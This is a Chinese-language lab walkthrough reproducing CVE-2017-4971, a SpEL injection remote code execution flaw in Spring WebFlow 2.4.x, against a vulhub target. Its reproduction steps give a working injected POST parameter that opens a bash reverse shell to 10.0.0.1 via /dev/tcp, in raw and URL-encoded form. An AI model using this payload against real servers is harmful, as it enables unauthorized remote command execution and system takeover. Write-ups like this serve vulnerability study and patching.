Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)

0x00 前言

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本:

Spring WebFlow 2.4.0 - 2.4.4

**利用条件:**知道用户名和密码

0x01 环境搭建

这里使用vulhub漏洞靶场

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)_第1张图片

账号密码在登录框左侧,可随意使用

0x02 复现步骤

1、访问http://192.168.12.130:8080/hotels/booking?execution=e1s1页面,任意填写数据后Proceed提交

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)_第2张图片

2、点击Confirm,并使用burpsuite抓包

获取到POST数据包后添加参数(反弹shell的poc)

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

将poc进行url编码

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)_第3张图片

注意:这里直接修改原始数据包就行,重放是无法生效的

Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)_第4张图片

0x03 修复建议

1、及时更新官方最新补丁

你可能感兴趣的:(漏洞复现,spring,web安全)